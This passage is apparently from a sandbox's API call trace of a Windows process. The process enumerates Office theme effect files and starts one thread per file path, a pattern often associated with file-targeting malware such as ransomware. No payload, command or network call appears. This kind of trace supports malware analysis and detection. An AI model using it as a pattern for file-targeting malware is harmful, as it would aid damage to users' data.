Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.340] wcscat (in: _Dest=0x1cd64630, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.340] wcscat (in: _Dest=0x1cd64630, _Source="Aspect.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" [0097.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0 [0097.341] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ca1300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x42ca1300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x696d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.eftx", cAlternateFileName="AUSTIN~1.EFT")) returned 1 [0097.341] wcscmp (_String1="Austin.eftx", _String2=".") returned 1 [0097.341] wcscmp (_String1="Austin.eftx", _String2="..") returned 1 [0097.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd646e0 [0097.341] wcscpy (in: _Dest=0x1cd646e0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.341] wcscat (in: _Dest=0x1cd646e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.341] wcscat (in: _Dest=0x1cd646e0, _Source="Austin.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" [0097.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd646e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a4 [0097.342] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68efb300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68efb300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96e87, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.eftx", cAlternateFileName="BLACKT~1.EFT")) returned 1 [0097.342] wcscmp (_String1="Black Tie.eftx", _String2=".") returned 1 [0097.342] wcscmp (_String1="Black Tie.eftx", _String2="..") returned 1 [0097.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd64790 [0097.342] wcscpy (in: _Dest=0x1cd64790, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.342] wcscat (in: _Dest=0x1cd64790, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.342] wcscat (in: _Dest=0x1cd64790, _Source="Black Tie.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" [0097.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b4 [0097.343] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f4900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72f4900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa7a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.eftx", cAlternateFileName="CIVIC~1.EFT")) returned 1 [0097.343] wcscmp (_String1="Civic.eftx", _String2=".") returned 1 [0097.343] wcscmp (_String1="Civic.eftx", _String2="..") returned 1 [0097.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd64840 [0097.343] wcscpy (in: _Dest=0x1cd64840, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.343] wcscat (in: _Dest=0x1cd64840, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.343] wcscat (in: _Dest=0x1cd64840, _Source="Civic.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" [0097.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8 [0097.344] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x465d9a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x465d9a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8032, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.eftx", cAlternateFileName="CLARIT~1.EFT")) returned 1 [0097.344] wcscmp (_String1="Clarity.eftx", _String2=".") returned 1 [0097.344] wcscmp (_String1="Clarity.eftx", _String2="..") returned 1 [0097.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd648f0 [0097.344] wcscpy (in: _Dest=0x1cd648f0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.344] wcscat (in: _Dest=0x1cd648f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.344] wcscat (in: _Dest=0x1cd648f0, _Source="Clarity.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" [0097.344] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd648f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc [0097.345] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db46700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6db46700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x825e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.eftx", cAlternateFileName="COMPOS~1.EFT")) returned 1 [0097.345] wcscmp (_String1="Composite.eftx", _String2=".") returned 1 [0097.345] wcscmp (_String1="Composite.eftx", _String2="..") returned 1 [0097.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd649a0 [0097.345] wcscpy (in: _Dest=0x1cd649a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.345] wcscat (in: _Dest=0x1cd649a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.345] wcscat (in: _Dest=0x1cd649a0, _Source="Composite.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" [0097.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd649a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0 [0097.346] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5791, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.eftx", cAlternateFileName="CONCOU~1.EFT")) returned 1 [0097.346] wcscmp (_String1="Concourse.eftx", _String2=".") returned 1 [0097.346] wcscmp (_String1="Concourse.eftx", _String2="..") returned 1 [0097.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd64a50 [0097.346] wcscpy (in: _Dest=0x1cd64a50, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.346] wcscat (in: _Dest=0x1cd64a50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.346] wcscat (in: _Dest=0x1cd64a50, _Source="Concourse.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" [0097.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64a50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c4 [0097.347] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72791b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a4db00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72791b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e0721, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.eftx", cAlternateFileName="COUTUR~1.EFT")) returned 1 [0097.347] wcscmp (_String1="Couture.eftx", _String2=".") returned 1 [0097.347] wcscmp (_String1="Couture.eftx", _String2="..") returned 1 [0097.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd64b00 [0097.347] wcscpy (in: _Dest=0x1cd64b00, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.347] wcscat (in: _Dest=0x1cd64b00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.347] wcscat (in: _Dest=0x1cd64b00, _Source="Couture.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" [0097.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64b00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8 [0097.348] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760ca200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x760ca200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4caa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.eftx", cAlternateFileName="ELEMEN~1.EFT")) returned 1 [0097.348] wcscmp (_String1="Elemental.eftx", _String2=".") returned 1 [0097.348] wcscmp (_String1="Elemental.eftx", _String2="..") returned 1 [0097.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd64bb0 [0097.348] wcscpy (in: _Dest=0x1cd64bb0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.348] wcscat (in: _Dest=0x1cd64bb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.348] wcscat (in: _Dest=0x1cd64bb0, _Source="Elemental.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" [0097.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64bb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0097.349] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd252a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd252a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6023, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.eftx", cAlternateFileName="EQUITY~1.EFT")) returned 1 [0097.349] wcscmp (_String1="Equity.eftx", _String2=".") returned 1 [0097.349] wcscmp (_String1="Equity.eftx", _String2="..") returned 1 [0097.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd64c60 [0097.349] wcscpy (in: _Dest=0x1cd64c60, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.349] wcscat (in: _Dest=0x1cd64c60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.349] wcscat (in: _Dest=0x1cd64c60, _Source="Equity.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" [0097.349] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0 [0097.350] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49f12100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x49f12100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3fde, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.eftx", cAlternateFileName="ESSENT~1.EFT")) returned 1 [0097.350] wcscmp (_String1="Essential.eftx", _String2=".") returned 1 [0097.350] wcscmp (_String1="Essential.eftx", _String2="..") returned 1 [0097.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd64d10 [0097.350] wcscpy (in: _Dest=0x1cd64d10, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.350] wcscat (in: _Dest=0x1cd64d10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.350] wcscat (in: _Dest=0x1cd64d10, _Source="Essential.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" [0097.350] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0097.351] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a02900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x79a02900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x52a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.eftx", cAlternateFileName="EXECUT~1.EFT")) returned 1 [0097.351] wcscmp (_String1="Executive.eftx", _String2=".") returned 1 [0097.351] wcscmp (_String1="Executive.eftx", _String2="..") returned 1 [0097.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd64dc0 [0097.351] wcscpy (in: _Dest=0x1cd64dc0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.351] wcscat (in: _Dest=0x1cd64dc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.351] wcscat (in: _Dest=0x1cd64dc0, _Source="Executive.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" [0097.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8 [0097.352] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144c3800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x144c3800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6818, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.eftx", cAlternateFileName="FLOW~1.EFT")) returned 1 [0097.352] wcscmp (_String1="Flow.eftx", _String2=".") returned 1 [0097.352] wcscmp (_String1="Flow.eftx", _String2="..") returned 1 [0097.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd64e70 [0097.352] wcscpy (in: _Dest=0x1cd64e70, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.352] wcscat (in: _Dest=0x1cd64e70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.352] wcscat (in: _Dest=0x1cd64e70, _Source="Flow.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" [0097.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0097.358] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b8b100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x10b8b100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.eftx", cAlternateFileName="FOUNDR~1.EFT")) returned 1 [0097.358] wcscmp (_String1="Foundry.eftx", _String2=".") returned 1 [0097.358] wcscmp (_String1="Foundry.eftx", _String2="..") returned 1 [0097.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd64f20 [0097.358] wcscpy (in: _Dest=0x1cd64f20, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.358] wcscat (in: _Dest=0x1cd64f20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.358] wcscat (in: _Dest=0x1cd64f20, _Source="Foundry.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" [0097.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64f20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0097.359] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x48cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.eftx", cAlternateFileName="GRID~1.EFT")) returned 1 [0097.359] wcscmp (_String1="Grid.eftx", _String2=".") returned 1 [0097.359] wcscmp (_String1="Grid.eftx", _String2="..") returned 1 [0097.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd64fd0 [0097.359] wcscpy (in: _Dest=0x1cd64fd0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.359] wcscat (in: _Dest=0x1cd64fd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.359] wcscat (in: _Dest=0x1cd64fd0, _Source="Grid.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" [0097.359] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0 [0097.360] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x559e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.eftx", cAlternateFileName="HARDCO~1.EFT")) returned 1 [0097.360] wcscmp (_String1="Hardcover.eftx", _String2=".") returned 1 [0097.360] wcscmp (_String1="Hardcover.eftx", _String2="..") returned 1 [0097.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd65080 [0097.360] wcscpy (in: _Dest=0x1cd65080, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0097.360] wcscat (in: _Dest=0x1cd65080, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0097.360] wcscat (in: _Dest=0x1cd65080, _Source="Hardcover.eftx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme 